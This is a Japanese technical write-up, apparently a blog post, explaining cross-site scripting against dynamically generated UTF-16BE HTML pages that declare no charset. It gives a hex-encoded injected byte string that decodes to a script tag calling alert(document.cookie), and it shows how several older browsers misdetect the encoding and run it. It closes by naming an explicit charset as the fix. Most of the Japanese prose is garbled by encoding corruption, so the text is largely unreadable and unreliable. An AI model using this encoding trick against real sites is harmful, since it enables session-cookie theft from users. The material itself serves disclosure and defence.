UTF-16ã®åçã³ã³ãã³ãã«ãããXSS
charsetæå®ãæ示ããªãåçãªUTF-16ã®HTMLã§ã¯ã
åçã«çæããé¨åã«1ãã¤ãã§æåã表ç¾ã§ããã¨ã³ã³ã¼ãã£ã³ã°ã§
HTMLã®ã¿ã°ã¨èªèã§ãããããªãã¤ãåã注å
¥ãããã¨ã§XSSãæç«ããã
ä¾ï¼
UTF-16ï¼BE,BOMãªã)ã§çæãããã¬ã¹ãã³ã¹ã
<html><head> <title>ã¦ã¼ã¶ã¼å ¥åæåå</title> </head> <body>AA</body></html>
ã®å ´åã(便å®ä¸æ¹è¡ãã¦ãã¾ããå®éã«ã¯æ¹è¡ããã¦ããªããã®ã¨æã£ã¦ãã ããï¼
ã¦ã¼ã¶ã¼å ¥åæååã®UTF-16ã§ã®ãã¤ãåã
hex表è¨ã§
3C 2F 74 69 74 6C 65 3E 3C 73 63 72 69 70 74 3E 61 6C 65 72 74 28 64 6F 63 75 6D 65 6E 74 2E 63 6F 6F 6B 69 65 29 3C 2F 73 63 72 69 70 74 3E 3C 74 69 74 6C 65 3E
ï¼ããã¯UTF-8ã¨ãã¦è§£éããã°</title><script>alert(document.cookie)</script><title>ï¼ã ã£ãå ´åãçæãããHTMLã¯HEX表è¨ã§
00 3C 00 68 00 74 00 6D 00 6C 00 3E 00 3C 00 68 00 65 00 61 00 64 00 3E 00 3C 00 74 00 69 00 74 00 6C 00 65 00 3E 3C 2F 74 69 74 6C 65 3E 3C 73 63 72 69 70 74 3E 61 6C 65 72 74 28 64 6F 63 75 6D 65 6E 74 2E 63 6F 6F 6B 69 65 29 3C 2F 73 63 72 69 70 74 3E 3C 74 69 74 6C 65 3E 00 3C 00 2F 00 74 00 69 00 74 00 6C 00 65 00 3E 00 3C 00 2F 00 68 00 65 00 61 00 64 00 3E 00 3C 00 62 00 6F 00 64 00 79 00 3E 00 41 00 41 00 3C 00 2F 00 62 00 6F 00 64 00 79 00 3E 00 3C 00 2F 00 68 00 74 00 6D 00 6C 00 3E
ã¨ãªããcharsetãæ示ããã¦ããªãã®ã§ããã©ã¦ã¶ã®
æåã³ã¼ãèªåå¤å¥ã«ãã£ã¦ã¨ã³ã³ã¼ãã£ã³ã°ã決ã¾ãã¾ãã
(1)UTF-16BE(BOMãªã)ã¨å¤å¥ãããã©ã¦ã¶(Firefox3.5ç)
<html><head> <title> 㰯ç©瑬æ¾㱳æ²楰çº慬æ²琨æ¯捵浥湴⹣潯æ©攩㰯ç£ç©灴㸼ç©瑬æ¾ </title> </head> <body>AA</body></html>
ã¨ãã¦å¦çãããXSSã¯æç«ããªãã
(2)UTF-8 (ããã㯠Shift_JIS çã® U+0000 ãã U+007Eã®æåãåä¸ãã¤ãã§è¡¨ãã¨ã³ã³ã¼ã)ã¨ãã¦å¤å¥ãããã©ã¦ã¶(IE8, Opera10, Safari4, Google Chrome2)
{00}<{00}h{00}t{00}m{00}l{00}>{00}<{00}h{00}e{00}a{00}d{00}> {00}<{00}t{00}i{00}t{00}l{00}e{00}> </title><script>alert(document.cookie)</script><title> {00}<{00}/{00}t{00}i{00}t{00}l{00}e{00}> {00}<{00}/{00}h{00}e{00}a{00}d{00}> {00}<{00}b{00}o{00}d{00}y{00}>{00}A{00}A{00}<{00}/{00}b{00}o{00}d{00}y{00}> {00}<{00}/{00}h{00}t{00}m{00}l{00}>{00}
ã¨ãã¦èªã¿è¾¼ã¾ããã
ä¸è¦å£ããHTMLã®ããã«è¦ãã¦ããã©ã¦ã¶ã®æ§æã¨ã©ã¼HTMLææ¸æ©è½ãåãã®ã§ã
Opera 10Beta, Safari 4, Google Chrome 2 ã§ã¯ã
<script>alert(document.cookie)</script>
ã®é¨åãçããããã«ææ¸ããã¦ã¹ã¯ãªãããå®è¡ãããã
IE ã®å ´åã¯ãæåã³ã¼ã 0x00 ã®æåã¯ç¡è¦ããã¨ããä»æ§ãåãã®ã§ã
<html><head> <title></title> <script>alert(document.cookie)</script> <title></title> </head><body>AA</body></html>
ã¨ãã¦è§£éãããå ã®HTMLã®ã¿ã°ã¯çãæ®ã£ãã¾ã¾ã§ã¹ã¯ãªãããå®è¡ãããã
ã¾ã¨ã
- UTF-16(BE) ã§charsetãæ示ããã«åçã«HTMLãçæããå ´åãHTMLãJavaScriptã®ç¹æ®æåãä¸å使ããã«XSSãæç«ããããã¨ãå¯è½
- id:hasegawayosukeããã®UTF-7によるクロスサイトスクリプティング攻撃ã¨åæ§ã«ãã©ã¦ã¶ã®æåã³ã¼ãèªåå¤å¥æ©è½ã«ãã¼ã¸ã®ä½è ã®æå³ããã¨ã³ã³ã¼ãã£ã³ã°ã¨ã¯éãã¨ã³ã³ã¼ãã£ã³ã°ã¨èª¤èªãããã¨ãããæ»æã®è¦ç¹
- BOMãä»ä¸ããã¦ããã¨æ»æãæåãã¥ããããã ãã100ï¼ å®å ¨ã«ãªããã¨ãä¿è¨¼ã§ããããã§ã¯ãªã
- 対çã¯æ£ããcharsetãæ示ãããã¨